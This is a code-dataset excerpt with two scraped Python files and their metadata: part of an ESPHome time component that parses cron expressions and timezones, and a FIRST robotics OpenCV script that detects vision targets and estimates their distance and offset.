7.0))\n\n\ndef _tz_dst_str(dt):\n td = datetime.timedelta(hours=dt.hour, minutes=dt.minute, seconds=dt.second)\n return 'M{}.{}.{}/{}'.format(dt.month, _week_of_month(dt), dt.isoweekday() % 7,\n _tz_timedelta(td))\n\n\ndef _safe_tzname(tz, dt):\n tzname = tz.tzname(dt)\n # pytz does not always return valid tznames\n # For example: 'Europe/Saratov' returns '+04'\n # Work around it by using a generic name for the timezone\n if not all(c in string.ascii_letters for c in tzname):\n return 'TZ'\n return tzname\n\n\ndef _non_dst_tz(tz, dt):\n tzname = _safe_tzname(tz, dt)\n utcoffset = tz.utcoffset(dt)\n _LOGGER.info(\"Detected timezone '%s' with UTC offset %s\",\n tzname, _tz_timedelta(utcoffset))\n tzbase = '{}{}'.format(tzname, _tz_timedelta(-1 * utcoffset))\n return tzbase\n\n\ndef convert_tz(pytz_obj):\n tz = pytz_obj\n\n now = datetime.datetime.now()\n first_january = datetime.datetime(year=now.year, month=1, day=1)\n\n if not isinstance(tz, pytz.tzinfo.DstTzInfo):\n return _non_dst_tz(tz, first_january)\n\n # pylint: disable=protected-access\n transition_times = tz._utc_transition_times\n transition_info = tz._transition_info\n idx = max(0, bisect.bisect_right(transition_times, now))\n if idx >= len(transition_times):\n return _non_dst_tz(tz, now)\n\n idx1, idx2 = idx, idx + 1\n dstoffset1 = transition_info[idx1][1]\n if dstoffset1 == datetime.timedelta(seconds=0):\n # Normalize to 1 being DST on\n idx1, idx2 = idx + 1, idx + 2\n\n if idx2 >= len(transition_times):\n return _non_dst_tz(tz, now)\n\n if transition_times[idx2].year > now.year + 1:\n # Next transition is scheduled after this year\n # Probably a scheduler timezone change.\n return _non_dst_tz(tz, now)\n\n utcoffset_on, _, tzname_on = transition_info[idx1]\n utcoffset_off, _, tzname_off = transition_info[idx2]\n dst_begins_utc = transition_times[idx1]\n dst_begins_local = dst_begins_utc + utcoffset_off\n dst_ends_utc = transition_times[idx2]\n dst_ends_local = dst_ends_utc + utcoffset_on\n\n tzbase = '{}{}'.format(tzname_off, _tz_timedelta(-1 * utcoffset_off))\n\n tzext = '{}{},{},{}'.format(tzname_on, _tz_timedelta(-1 * utcoffset_on),\n _tz_dst_str(dst_begins_local), _tz_dst_str(dst_ends_local))\n _LOGGER.info(\"Detected timezone '%s' with UTC offset %s and daylight savings time from \"\n \"%s to %s\",\n tzname_off, _tz_timedelta(utcoffset_off),\n dst_begins_local.strftime(\"%d %B %X\"),\n dst_ends_local.strftime(\"%d %B %X\"))\n return tzbase + tzext\n\n\ndef detect_tz():\n try:\n tz = tzlocal.get_localzone()\n except pytz.exceptions.UnknownTimeZoneError:\n _LOGGER.warning(\"Could not auto-detect timezone. Using UTC...\")\n return 'UTC'\n\n return convert_tz(tz)\n\n\ndef _parse_cron_int(value, special_mapping, message):\n special_mapping = special_mapping or {}\n if isinstance(value, str) and value in special_mapping:\n return special_mapping[value]\n try:\n return int(value)\n except ValueError:\n raise cv.Invalid(message.format(value))\n\n\ndef _parse_cron_part(part, min_value, max_value, special_mapping):\n if part in ('*', '?'):\n return set(range(min_value, max_value + 1))\n if '/' in part:\n data = part.split('/')\n if len(data) > 2:\n raise cv.Invalid(\"Can't have more than two '/' in one time expression, got {}\"\n .format(part))\n offset, repeat = data\n offset_n = 0\n if offset:\n offset_n = _parse_cron_int(offset, special_mapping,\n \"Offset for '/' time expression must be an integer, got {}\")\n\n try:\n repeat_n = int(repeat)\n except ValueError:\n raise cv.Invalid(\"Repeat for '/' time expression must be an integer, got {}\"\n .format(repeat))\n return set(range(offset_n, max_value + 1, repeat_n))\n if '-' in part:\n data = part.split('-')\n if len(data) > 2:\n raise cv.Invalid(\"Can't have more than two '-' in range time expression '{}'\"\n .format(part))\n begin, end = data\n begin_n = _parse_cron_int(begin, special_mapping, \"Number for time range must be integer, \"\n \"got {}\")\n end_n = _parse_cron_int(end, special_mapping, \"Number for time range must be integer, \"\n \"got {}\")\n if end_n < begin_n:\n return set(range(end_n, max_value + 1)) | set(range(min_value, begin_n + 1))\n return set(range(begin_n, end_n + 1))\n\n return {_parse_cron_int(part, special_mapping, \"Number for time expression must be an \"\n \"integer, got {}\")}\n\n\ndef cron_expression_validator(name, min_value, max_value, special_mapping=None):\n def validator(value):\n if isinstance(value, list):\n for v in value:\n if not isinstance(v, int):\n raise cv.Invalid(\n \"Expected integer for {} '{}', got {}\".format(v, name, type(v)))\n if v < min_value or v > max_value:\n raise cv.Invalid(\n \"{} {} is out of range (min={} max={}).\".format(name, v, min_value,\n max_value))\n return list(sorted(value))\n value = cv.string(value)\n values = set()\n for part in value.split(','):\n values |= _parse_cron_part(part, min_value, max_value, special_mapping)\n return validator(list(values))\n\n return validator\n\n\nvalidate_cron_seconds = cron_expression_validator('seconds', 0, 60)\nvalidate_cron_minutes = cron_expression_validator('minutes', 0, 59)\nvalidate_cron_hours = cron_expression_validator('hours', 0, 23)\nvalidate_cron_days_of_month = cron_expression_validator('days of month', 1, 31)\nvalidate_cron_months = cron_expression_validator('months', 1, 12, {\n 'JAN': 1, 'FEB': 2, 'MAR': 3, 'APR': 4, 'MAY': 5, 'JUN': 6, 'JUL': 7, 'AUG': 8,\n 'SEP': 9, 'OCT': 10, 'NOV': 11, 'DEC': 12\n})\nvalidate_cron_days_of_week = cron_expression_validator('days of week', 1, 7, {\n 'SUN': 1, 'MON': 2, 'TUE': 3, 'WED': 4, 'THU': 5, 'FRI': 6, 'SAT': 7\n})\nCRON_KEYS = [CONF_SECONDS, CONF_MINUTES, CONF_HOURS, CONF_DAYS_OF_MONTH, CONF_MONTHS,\n CONF_DAYS_OF_WEEK]\n\n\ndef validate_cron_raw(value):\n value = cv.string(value)\n value = value.split(' ')\n if len(value) != 6:\n raise cv.Invalid(\"Cron expression must consist of exactly 6 space-separated parts, \"\n \"not {}\".format(len(value)))\n seconds, minutes, hours, days_of_month, months, days_of_week = value\n return {\n CONF_SECONDS: validate_cron_seconds(seconds),\n CONF_MINUTES: validate_cron_minutes(minutes),\n CONF_HOURS: validate_cron_hours(hours),\n CONF_DAYS_OF_MONTH: validate_cron_days_of_month(days_of_month),\n CONF_MONTHS: validate_cron_months(months),\n CONF_DAYS_OF_WEEK: validate_cron_days_of_week(days_of_week),\n }\n\n\ndef validate_time_at(value):\n value = cv.time_of_day(value)\n return {\n CONF_HOURS: [value[CONF_HOUR]],\n CONF_MINUTES: [value[CONF_MINUTE]],\n CONF_SECONDS: [value[CONF_SECOND]],\n CONF_DAYS_OF_MONTH: validate_cron_days_of_month('*'),\n CONF_MONTHS: validate_cron_months('*'),\n CONF_DAYS_OF_WEEK: validate_cron_days_of_week('*'),\n }\n\n\ndef validate_cron_keys(value):\n if CONF_CRON in value:\n for key in value.keys():\n if key in CRON_KEYS:\n raise cv.Invalid(f\"Cannot use option {key} when cron: is specified.\")\n if CONF_AT in value:\n raise cv.Invalid(\"Cannot use option at with cron!\")\n cron_ = value[CONF_CRON]\n value = {x: value[x] for x in value if x != CONF_CRON}\n value.update(cron_)\n return value\n if CONF_AT in value:\n for key in value.keys():\n if key in CRON_KEYS:\n raise cv.Invalid(f\"Cannot use option {key} when at: is specified.\")\n at_ = value[CONF_AT]\n value = {x: value[x] for x in value if x != CONF_AT}\n value.update(at_)\n return value\n return cv.has_at_least_one_key(*CRON_KEYS)(value)\n\n\ndef validate_tz(value):\n value = cv.string_strict(value)\n\n try:\n pytz_obj = pytz.timezone(value)\n except pytz.UnknownTimeZoneError: # pylint: disable=broad-except\n return value\n\n return convert_tz(pytz_obj)\n\n\nTIME_SCHEMA = cv.Schema({\n cv.Optional(CONF_TIMEZONE, default=detect_tz): validate_tz,\n cv.Optional(CONF_ON_TIME): automation.validate_automation({\n cv.GenerateID(CONF_TRIGGER_ID): cv.declare_id(CronTrigger),\n cv.Optional(CONF_SECONDS): validate_cron_seconds,\n cv.Optional(CONF_MINUTES): validate_cron_minutes,\n cv.Optional(CONF_HOURS): validate_cron_hours,\n cv.Optional(CONF_DAYS_OF_MONTH): validate_cron_days_of_month,\n cv.Optional(CONF_MONTHS): validate_cron_months,\n cv.Optional(CONF_DAYS_OF_WEEK): validate_cron_days_of_week,\n cv.Optional(CONF_CRON): validate_cron_raw,\n cv.Optional(CONF_AT): validate_time_at,\n }, validate_cron_keys),\n})\n\n\n@coroutine\ndef setup_time_core_(time_var, config):\n cg.add(time_var.set_timezone(config[CONF_TIMEZONE]))\n\n for conf in config.get(CONF_ON_TIME, []):\n trigger = cg.new_Pvariable(conf[CONF_TRIGGER_ID], time_var)\n\n seconds = conf.get(CONF_SECONDS, list(range(0, 61)))\n cg.add(trigger.add_seconds(seconds))\n minutes = conf.get(CONF_MINUTES, list(range(0, 60)))\n cg.add(trigger.add_minutes(minutes))\n hours = conf.get(CONF_HOURS, list(range(0, 24)))\n cg.add(trigger.add_hours(hours))\n days_of_month = conf.get(CONF_DAYS_OF_MONTH, list(range(1, 32)))\n cg.add(trigger.add_days_of_month(days_of_month))\n months = conf.get(CONF_MONTHS, list(range(1, 13)))\n cg.add(trigger.add_months(months))\n days_of_week = conf.get(CONF_DAYS_OF_WEEK, list(range(1, 8)))\n cg.add(trigger.add_days_of_week(days_of_week))\n\n yield cg.register_component(trigger, conf)\n yield automation.build_automation(trigger, [], conf)\n\n\n@coroutine\ndef register_time(time_var, config):\n yield setup_time_core_(time_var, config)\n\n\n@coroutine_with_priority(100.0)\ndef to_code(config):\n cg.add_define('USE_TIME')\n cg.add_global(time_ns.using)\n", "repo_name": "wjcarpenter/mvturnho_esphome_ili9341", "sub_path": "esphome/components/time/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 12199, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 18, "usage_type": "call"}, {"api_name": "esphome.codegen.esphome_ns.namespace", "line_number": 22, "usage_type": "call"}, {"api_name": "esphome.codegen.esphome_ns", "line_number": 22, "usage_type": "attribute"}, {"api_name": "esphome.codegen", "line_number": 22, "usage_type": "name"}, {"api_name": "esphome.codegen.Component", "line_number": 23, "usage_type": "attribute"}, {"api_name": "esphome.codegen", "line_number": 23, "usage_type": "name"}, {"api_name": "esphome.automation.Trigger.template", "line_number": 24, "usage_type": "call"}, {"api_name": "esphome.automation.Trigger", "line_number": 24, "usage_type": "attribute"}, {"api_name": "esphome.automation", "line_number": 24, "usage_type": "name"}, {"api_name": "esphome.codegen.Component", "line_number": 24, "usage_type": "attribute"}, {"api_name": "esphome.codegen", "line_number": 24, "usage_type": "name"}, {"api_name": "math.ceil", "line_number": 46, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 50, "usage_type": "call"}, {"api_name": "string.ascii_letters", "line_number": 60, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 77, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 77, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 78, "usage_type": "call"}, {"api_name": "pytz.tzinfo", "line_number": 80, "usage_type": "attribute"}, {"api_name": "bisect.bisect_right", "line_number": 86, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 92, "usage_type": "call"}, {"api_name": "tzlocal.get_localzone", "line_number": 125, "usage_type": "call"}, {"api_name": "pytz.exceptions", "line_number": 126, "usage_type": "attribute"}, {"api_name": "esphome.config_validation.Invalid", "line_number": 140, "usage_type": "call"}, {"api_name": "esphome.config_validation", "line_number": 140, "usage_type": "name"}, {"api_name": "esphome.config_validation.Invalid", "line_number": 149, "usage_type": "call"}, {"api_name": "esphome.config_validation", "line_number": 149, "usage_type": "name"}, {"api_name": "esphome.config_validation.Invalid", "line_number": 160, "usage_type": "call"}, {"api_name": "esphome.config_validation", "line_number": 160, "usage_type": "name"}, {"api_name": "esphome.config_validation.Invalid", "line_number": 166, "usage_type": "call"}, {"api_name": "esphome.config_validation", "line_number": 166, "usage_type": "name"}, {"api_name": "esphome.config_validation.Invalid", "line_number": 186, "usage_type": "call"}, {"api_name": "esphome.config_validation", "line_number": 186, "usage_type": "name"}, {"api_name": "esphome.config_validation.Invalid", "line_number": 189, "usage_type": "call"}, {"api_name": "esphome.config_validation", "line_number": 189, "usage_type": "name"}, {"api_name": "esphome.config_validation.string", "line_number": 193, "usage_type": "call"}, {"api_name": "esphome.config_validation", "line_number": 193, "usage_type": "name"}, {"api_name": "esphome.const.CONF_SECONDS", "line_number": 213, "usage_type": "name"}, {"api_name": "esphome.const.CONF_MINUTES", "line_number": 213, "usage_type": "name"}, {"api_name": "esphome.const.CONF_HOURS", "line_number": 213, "usage_type": "name"}, {"api_name": "esphome.const.CONF_DAYS_OF_MONTH", "line_number": 213, "usage_type": "name"}, {"api_name": "esphome.const.CONF_MONTHS", "line_number": 213, "usage_type": "name"}, {"api_name": "esphome.const.CONF_DAYS_OF_WEEK", "line_number": 214, "usage_type": "name"}, {"api_name": "esphome.config_validation.string", "line_number": 218, "usage_type": "call"}, {"api_name": "esphome.config_validation", "line_number": 218, "usage_type": "name"}, {"api_name": "esphome.config_validation.Invalid", "line_number": 221, "usage_type": "call"}, {"api_name": "esphome.config_validation", "line_number": 221, "usage_type": "name"}, {"api_name": "esphome.const.CONF_SECONDS", "line_number": 225, "usage_type": "name"}, {"api_name": "esphome.const.CONF_MINUTES", "line_number": 226, "usage_type": "name"}, {"api_name": "esphome.const.CONF_HOURS", "line_number": 227, "usage_type": "name"}, {"api_name": "esphome.const.CONF_DAYS_OF_MONTH", "line_number": 228, "usage_type": "name"}, {"api_name": "esphome.const.CONF_MONTHS", "line_number": 229, "usage_type": "name"}, {"api_name": "esphome.const.CONF_DAYS_OF_WEEK", "line_number": 230, "usage_type": "name"}, {"api_name": "esphome.config_validation.time_of_day", "line_number": 235, "usage_type": "call"}, {"api_name": "esphome.config_validation", "line_number": 235, "usage_type": "name"}, {"api_name": "esphome.const.CONF_HOURS", "line_number": 237, "usage_type": "name"}, {"api_name": "esphome.const.CONF_MINUTES", "line_number": 238, "usage_type": "name"}, {"api_name": "esphome.const.CONF_SECONDS", "line_number": 239, "usage_type": "name"}, {"api_name": "esphome.const.CONF_DAYS_OF_MONTH", "line_number": 240, "usage_type": "name"}, {"api_name": "esphome.const.CONF_MONTHS", "line_number": 241, "usage_type": "name"}, {"api_name": "esphome.const.CONF_DAYS_OF_WEEK", "line_number": 242, "usage_type": "name"}, {"api_name": "esphome.const.CONF_HOUR", "line_number": 237, "usage_type": "name"}, {"api_name": "esphome.const.CONF_MINUTE", "line_number": 238, "usage_type": "name"}, {"api_name": "esphome.const.CONF_SECOND", "line_number": 239, "usage_type": "name"}, {"api_name": "esphome.const.CONF_CRON", "line_number": 247, "usage_type": "name"}, {"api_name": "esphome.config_validation.Invalid", "line_number": 250, "usage_type": "call"}, {"api_name": "esphome.config_validation", "line_number": 250, "usage_type": "name"}, {"api_name": "esphome.const.CONF_AT", "line_number": 251, "usage_type": "name"}, {"api_name": "esphome.config_validation.Invalid", "line_number": 252, "usage_type": "call"}, {"api_name": "esphome.config_validation", "line_number": 252, "usage_type": "name"}, {"api_name": "esphome.const.CONF_CRON", "line_number": 253, "usage_type": "name"}, {"api_name": "esphome.const.CONF_CRON", "line_number": 254, "usage_type": "name"}, {"api_name": "esphome.const.CONF_AT", "line_number": 257, "usage_type": "name"}, {"api_name": "esphome.config_validation.Invalid", "line_number": 260, "usage_type": "call"}, {"api_name": "esphome.config_validation", "line_number": 260, "usage_type": "name"}, {"api_name": "esphome.const.CONF_AT", "line_number": 261, "usage_type": "name"}, {"api_name": "esphome.const.CONF_AT", "line_number": 262, "usage_type": "name"}, {"api_name": "esphome.config_validation.has_at_least_one_key", "line_number": 265, "usage_type": "call"}, {"api_name": "esphome.config_validation", "line_number": 265, "usage_type": "name"}, {"api_name": "esphome.config_validation.string_strict", "line_number": 269, "usage_type": "call"}, {"api_name": "esphome.config_validation", "line_number": 269, "usage_type": "name"}, {"api_name": "pytz.timezone", "line_number": 272, "usage_type": "call"}, {"api_name": "pytz.UnknownTimeZoneError", "line_number": 273, "usage_type": "attribute"}, {"api_name": "esphome.config_validation.Schema", "line_number": 279, "usage_type": "call"}, {"api_name": "esphome.config_validation", "line_number": 279, "usage_type": "name"}, {"api_name": "esphome.config_validation.Optional", "line_number": 280, "usage_type": "call"}, {"api_name": "esphome.const.CONF_TIMEZONE", "line_number": 280, "usage_type": "argument"}, {"api_name": "esphome.config_validation", "line_number": 280, "usage_type": "name"}, {"api_name": "esphome.config_validation.Optional", "line_number": 281, "usage_type": "call"}, {"api_name": "esphome.const.CONF_ON_TIME", "line_number": 281, "usage_type": "argument"}, {"api_name": "esphome.config_validation", "line_number": 281, "usage_type": "name"}, {"api_name": "esphome.automation.validate_automation", "line_number": 281, "usage_type": "call"}, {"api_name": "esphome.automation", "line_number": 281, "usage_type": "name"}, {"api_name": "esphome.config_validation.GenerateID", "line_number": 282, "usage_type": "call"}, {"api_name": "esphome.const.CONF_TRIGGER_ID", "line_number": 282, "usage_type": "argument"}, {"api_name": "esphome.config_validation", "line_number": 282, "usage_type": "name"}, {"api_name": "esphome.config_validation.Optional", "line_number": 283, "usage_type": "call"}, {"api_name": "esphome.const.CONF_SECONDS", "line_number": 283, "usage_type": "argument"}, {"api_name": "esphome.config_validation", "line_number": 283, "usage_type": "name"}, {"api_name": "esphome.config_validation.Optional", "line_number": 284, "usage_type": "call"}, {"api_name": "esphome.const.CONF_MINUTES", "line_number": 284, "usage_type": "argument"}, {"api_name": "esphome.config_validation", "line_number": 284, "usage_type": "name"}, {"api_name": "esphome.config_validation.Optional", "line_number": 285, "usage_type": "call"}, {"api_name": "esphome.const.CONF_HOURS", "line_number": 285, "usage_type": "argument"}, {"api_name": "esphome.config_validation", "line_number": 285, "usage_type": "name"}, {"api_name": "esphome.config_validation.Optional", "line_number": 286, "usage_type": "call"}, {"api_name": "esphome.const.CONF_DAYS_OF_MONTH", "line_number": 286, "usage_type": "argument"}, {"api_name": "esphome.config_validation", "line_number": 286, "usage_type": "name"}, {"api_name": "esphome.config_validation.Optional", "line_number": 287, "usage_type": "call"}, {"api_name": "esphome.const.CONF_MONTHS", "line_number": 287, "usage_type": "argument"}, {"api_name": "esphome.config_validation", "line_number": 287, "usage_type": "name"}, {"api_name": "esphome.config_validation.Optional", "line_number": 288, "usage_type": "call"}, {"api_name": "esphome.const.CONF_DAYS_OF_WEEK", "line_number": 288, "usage_type": "argument"}, {"api_name": "esphome.config_validation", "line_number": 288, "usage_type": "name"}, {"api_name": "esphome.config_validation.Optional", "line_number": 289, "usage_type": "call"}, {"api_name": "esphome.const.CONF_CRON", "line_number": 289, "usage_type": "argument"}, {"api_name": "esphome.config_validation", "line_number": 289, "usage_type": "name"}, {"api_name": "esphome.config_validation.Optional", "line_number": 290, "usage_type": "call"}, {"api_name": "esphome.const.CONF_AT", "line_number": 290, "usage_type": "argument"}, {"api_name": "esphome.config_validation", "line_number": 290, "usage_type": "name"}, {"api_name": "esphome.config_validation.declare_id", "line_number": 282, "usage_type": "call"}, {"api_name": "esphome.codegen.add", "line_number": 297, "usage_type": "call"}, {"api_name": "esphome.codegen", "line_number": 297, "usage_type": "name"}, {"api_name": "esphome.const.CONF_TIMEZONE", "line_number": 297, "usage_type": "name"}, {"api_name": "esphome.const.CONF_ON_TIME", "line_number": 299, "usage_type": "argument"}, {"api_name": "esphome.codegen.new_Pvariable", "line_number": 300, "usage_type": "call"}, {"api_name": "esphome.codegen", "line_number": 300, "usage_type": "name"}, {"api_name": "esphome.const.CONF_TRIGGER_ID", "line_number": 300, "usage_type": "name"}, {"api_name": "esphome.const.CONF_SECONDS", "line_number": 302, "usage_type": "argument"}, {"api_name": "esphome.codegen.add", "line_number": 303, "usage_type": "call"}, {"api_name": "esphome.codegen", "line_number": 303, "usage_type": "name"}, {"api_name": "esphome.const.CONF_MINUTES", "line_number": 304, "usage_type": "argument"}, {"api_name": "esphome.codegen.add", "line_number": 305, "usage_type": "call"}, {"api_name": "esphome.codegen", "line_number": 305, "usage_type": "name"}, {"api_name": "esphome.const.CONF_HOURS", "line_number": 306, "usage_type": "argument"}, {"api_name": "esphome.codegen.add", "line_number": 307, "usage_type": "call"}, {"api_name": "esphome.codegen", "line_number": 307, "usage_type": "name"}, {"api_name": "esphome.const.CONF_DAYS_OF_MONTH", "line_number": 308, "usage_type": "argument"}, {"api_name": "esphome.codegen.add", "line_number": 309, "usage_type": "call"}, {"api_name": "esphome.codegen", "line_number": 309, "usage_type": "name"}, {"api_name": "esphome.const.CONF_MONTHS", "line_number": 310, "usage_type": "argument"}, {"api_name": "esphome.codegen.add", "line_number": 311, "usage_type": "call"}, {"api_name": "esphome.codegen", "line_number": 311, "usage_type": "name"}, {"api_name": "esphome.const.CONF_DAYS_OF_WEEK", "line_number": 312, "usage_type": "argument"}, {"api_name": "esphome.codegen.add", "line_number": 313, "usage_type": "call"}, {"api_name": "esphome.codegen", "line_number": 313, "usage_type": "name"}, {"api_name": "esphome.codegen.register_component", "line_number": 315, "usage_type": "call"}, {"api_name": "esphome.codegen", "line_number": 315, "usage_type": "name"}, {"api_name": "esphome.automation.build_automation", "line_number": 316, "usage_type": "call"}, {"api_name": "esphome.automation", "line_number": 316, "usage_type": "name"}, {"api_name": "esphome.core.coroutine", "line_number": 295, "usage_type": "name"}, {"api_name": "esphome.core.coroutine", "line_number": 319, "usage_type": "name"}, {"api_name": "esphome.codegen.add_define", "line_number": 326, "usage_type": "call"}, {"api_name": "esphome.codegen", "line_number": 326, "usage_type": "name"}, {"api_name": "esphome.codegen.add_global", "line_number": 327, "usage_type": "call"}, {"api_name": "esphome.codegen", "line_number": 327, "usage_type": "name"}, {"api_name": "esphome.core.coroutine_with_priority", "line_number": 324, "usage_type": "call"}]} {"seq_id": "39202703372", "text": "import cv2\nimport math\nfrom json import dumps, loads\n\n\nclass VisionSettings:\n def __init__(self, **kwargs):\n pixels_at_two_feet_two_targets = 600\n pixels_at_two_feet_one_target = 250\n hue = [53.417266187050366, 75.5631399317406]\n sat = [208.67805755395685, 255.0]\n val = [18.34532374100722, 255.0]\n\n self.pixels_at_two_feet_two_targets = kwargs[\"pixels_at_two_feet_two_targets\"] \\\n if \"pixels_at_two_feet_two_targets\" in kwargs.keys() else pixels_at_two_feet_two_targets\n self.pixels_at_two_feet_one_target = kwargs[\"pixels_at_two_feet_one_target\"] \\\n if \"pixels_at_two_feet_one_target\" in kwargs.keys() else pixels_at_two_feet_one_target\n self.hue = kwargs[\"hue\"] if \"hue\" in kwargs.keys() else hue\n self.sat = kwargs[\"sat\"] if \"sat\" in kwargs.keys() else sat\n self.val = kwargs[\"val\"] if \"val\" in kwargs.keys() else val\n\n def get_json(self):\n return dumps(vars(self))\n\n\nclass CameraSettings:\n def __init__(self, **kwargs):\n frame_height = 480\n frame_width = 640\n brightness = 0.5\n auto_wb = 0.25\n wb_temperature = 3184\n saturation = 0.6\n auto_exposure = 0.25\n exposure = 0\n contrast = 0.5\n fps = 30.0\n\n self.frame_height = kwargs[\"frame_height\"] if \"frame_height\" in kwargs.keys() else frame_height\n self.frame_width = kwargs[\"frame_width\"] if \"frame_width\" in kwargs.keys() else frame_width\n self.brightness = kwargs[\"brightness\"] if \"brightness\" in kwargs.keys() else brightness\n self.auto_wb = kwargs[\"auto_wb\"] if \"auto_wb\" in kwargs.keys() else auto_wb\n self.wb_temperature = kwargs[\"wb_temperature\"] if \"wb_temperature\" in kwargs.keys() else wb_temperature\n self.saturation = kwargs[\"saturation\"] if \"saturation\" in kwargs.keys() else saturation\n self.auto_exposure = kwargs[\"auto_exposure\"] if \"auto_exposure\" in kwargs.keys() else auto_exposure\n self.exposure = kwargs[\"exposure\"] if \"exposure\" in kwargs.keys() else exposure\n self.contrast = kwargs[\"contrast\"] if \"contrast\" in kwargs.keys() else contrast\n self.fps = kwargs[\"fps\"] if \"fps\" in kwargs.keys() else fps\n\n def get_json(self):\n return dumps(vars(self))\n\n\ndef read_from_file(file) -> dict:\n with open(file) as f:\n info = f.read()\n return loads(info)\n\n\ndef write_to_file(file, data):\n with open(file, mode=\"w\") as file:\n file.write(data)\n\n\ndef get_center(side):\n return (side[0][0] + side[1][0]) / 2, (side[0][1] + side[1][1]) / 2\n\n\ndef get_center_x(side):\n return (side[0][0] + side[1][0]) / 2\n\n\ndef get_center_y(side):\n return (side[0][1] + side[1][1]) / 2\n\n\ndef dist(p1, p2):\n return ((p2[0] - p1[0])**2 + (p2[1] - p1[1])**2)**(1/2)\n\n\ndef camera_config(cam, settings: CameraSettings):\n cam.set(cv2.CAP_PROP_FRAME_HEIGHT, settings.frame_height)\n cam.set(cv2.CAP_PROP_FRAME_WIDTH, settings.frame_width)\n\n cam.set(cv2.CAP_PROP_BRIGHTNESS, settings.brightness) # [0, 1] ~1/2 - 142\n cam.set(cv2.CAP_PROP_AUTO_WB, settings.auto_wb)\n cam.set(cv2.CAP_PROP_WB_TEMPERATURE, settings.wb_temperature) # [?] ~1/8 - 3184\n cam.set(cv2.CAP_PROP_SATURATION, settings.saturation) # [0, 1] ~2/3 - 128\n cam.set(cv2.CAP_PROP_AUTO_EXPOSURE, settings.auto_exposure)\n cam.set(cv2.CAP_PROP_EXPOSURE, settings.exposure) # [0, 1] ~1/4 - -9\n cam.set(cv2.CAP_PROP_CONTRAST, settings.contrast) # [0, 1] ~2/3 - 7\n\n # cam.set(cv2.CAP_PROP_CONVERT_RGB, 0)\n cam.set(cv2.CAP_PROP_FPS, settings.fps)\n\n\ndef process_frame(frame, settings: VisionSettings):\n color = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n filtered = cv2.inRange(color, (settings.hue[0], settings.sat[0], settings.val[0]),\n (settings.hue[1], settings.sat[1], settings.val[1]))\n\n filtered, contours, hierarchy = cv2.findContours(filtered, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\n approx = []\n for i in contours:\n eps = 0.05 * cv2.arcLength(i, True)\n apx = cv2.approxPolyDP(i, eps, True)\n\n if cv2.contourArea(apx) < 200: # TODO contour threshold\n continue\n\n if len(apx) != 4:\n continue\n\n approx.append(apx)\n\n return approx\n\n\ndef offset_calculate(frame, contours, settings: VisionSettings) -> tuple:\n offset, distance = 0, 0\n\n # If no contours exist return all -1\n if len(contours) == 0:\n return -1, 0, False\n\n # Find the center (x, y) of the frame\n height, width, channels = frame.shape\n middle = [width / 2, height / 2]\n\n # Find the centers of all contours\n centers = []\n if len(contours) > 1:\n for i in contours:\n M = cv2.moments(i)\n\n cx, cy = -1, -1\n if M['m00'] != 0:\n cx = int(M['m10'] / M['m00'])\n cy = int(M['m01'] / M['m00'])\n\n centers.append(((cx, cy), i))\n\n # Sort contours by distance to the center (remove all but the first two)\n centers.sort(key=lambda val: dist(val[0], middle))\n centers = centers[:2]\n\n else:\n if len(contours[0]) == 4:\n M = cv2.moments(contours[0])\n\n cx, cy = -1, -1\n if M['m00'] != 0:\n cx = int(M['m10'] / M['m00'])\n cy = int(M['m01'] / M['m00'])\n\n centers.append(((cx, cy), contours[0]))\n\n # creates sides array and sorts them to the order (l/r, l/r, t/b, t/b)\n contour_sides = []\n for i in range(len(centers)):\n sides = list()\n\n # sets sides 0-3 and sorts them by longest side length\n sides.append([centers[i][1][0][0], centers[i][1][1][0]])\n sides.append([centers[i][1][1][0], centers[i][1][2][0]])\n sides.append([centers[i][1][2][0], centers[i][1][3][0]])\n sides.append([centers[i][1][3][0], centers[i][1][0][0]])\n sides.sort(key=lambda sd: dist(*sd), reverse=True)\n\n # Swaps 0-1 and/or 2-3 to make 0-1 = l-r and 2-3 = t-b\n if get_center_x(sides[0]) > get_center_x(sides[1]):\n tmp = sides[0]\n sides[0] = sides[1]\n sides[1] = tmp\n\n if get_center_y(sides[2]) > get_center_y(sides[3]):\n tmp = sides[2]\n sides[2] = sides[3]\n sides[3] = tmp\n\n contour_sides.append(sides)\n\n # Calculate skew to find angle\n # Not being used in current model\n\n # Calculate size / distance apart to find distance\n if len(centers) == 2:\n dst = dist(centers[0][0], centers[1][0])\n # print(dst)\n distance = settings.pixels_at_two_feet_two_targets / dst\n\n elif len(contour_sides) == 1:\n dst_left = dist(contour_sides[0][0][0], contour_sides[0][0][1])\n dst_right = dist(contour_sides[0][1][0], contour_sides[0][1][1])\n dst = (dst_left + dst_right) / 2\n\n # print(dst)\n distance = settings.pixels_at_two_feet_one_target / dst\n\n # Calculate distance from center to find [x] offset\n feet_at_dst = distance * math.sqrt(3)\n pixels_to_feet = feet_at_dst / width\n\n center = None\n delta = 0\n\n if len(centers) == 2:\n cx = centers[0][0][0], centers[1][0][0]\n cy = centers[0][0][1], centers[1][0][1]\n\n center = (cx[0] + cx[1]) / 2, (cy[0] + cy[1]) / 2\n # print(center[0])\n\n # If one: get slope if slope > 0 target is on the left side, aka +.35 ft to get center\n elif len(contour_sides) == 1:\n left_side = contour_sides[0][0]\n slope = (left_side[0][1] - left_side[1][1]) / (left_side[0][0] - left_side[1][0])\n delta = 0.35 if slope > 0 else -0.35\n center = centers[0][0][0], centers[0][0][1]\n\n offset = ((center[0] - middle[0]) * pixels_to_feet) - (pixels_to_feet / 2) + delta\n\n return distance, offset, True\n", "repo_name": "frc-4931/2019-RobotVision", "sub_path": "vision_proccessing.py", "file_name": "vision_proccessing.py", "file_ext": "py", "file_size_in_byte": 7772, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "json.dumps", "line_number": 23, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 51, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 57, "usage_type": "call"}, {"api_name": 